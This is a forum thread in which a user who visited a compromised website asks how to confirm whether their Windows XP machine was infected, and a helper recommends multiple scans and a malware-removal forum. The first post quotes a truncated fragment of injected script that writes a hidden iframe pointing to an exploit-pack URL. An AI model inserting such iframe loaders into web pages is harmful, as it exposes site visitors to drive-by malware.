SORRY!! WRONG FORUM for this question. My Bad. Will move it ASAP to "Security > Am I infected? What do I do?"

Not trying to waste anyone's time here, as I hope I don't need the experts on this forum to fix my PC, running Windows XP SP2.

I visited a hacked website with FireFox 2, which website's index.html had obfuscated script appended after the /HTML tag. The script supposedly directed my browser to execute:

window.status='Done';document.write('<iframe name=73e src=\'http://nn.nnnn.nn/gpack/index.php?'+Math.round blah blah blah

My commercial AV (updated daily, etc.) did not make a peep. No warnings about malicious scripts. Nothing. Someone else told me they got a warning at the site and when I viewed the source, "there it was".

I posted my question to the vendor website and all I got was a lecture on keeping my defs up-to-date.

Here is my question: how can I be sure if I have a trojan/virus/whatever as a result of this? I scanned my computer and nothing was found, but the more I learned, the more I suspect the null result is not enough to surf with confidence.

Any advice or help at all will be greatly appreciated. I see that most of the posts here are people who are in dire straits, so if this is too far off-topic for Bleeping Computers, please accept my sincere apology.

Thank You.

I wouldn't mess with this:

If I were you I would run as many scans with different Anti-Virus and Anti-Spyware products as I could. Many free ones can be found here.

If your computer starts to act strangely, I would open up a new topic in the "Am I Infected" forum:

http://www.bleepingcomputer.com/forums/f/103/am-i-infected-what-do-i-do/

They can assist you in malware removal. I would definately stay off of the internet as much as possible until I was definately sure though...
Does this look like an OldGrumpyBastard or what?

Thanks for the links. And the good advice. When I realized I posted this under Operating Systems, I reopened a new topic under "Am I infected...?" (Not sure how to remove it or otherwise redirect viewers.)

After reading about this kind of iframe attack I realized I could be in deep doo-doo even if my AV application did not react, but this is the first affirmation that I am not being paranoid!

Thanks again.
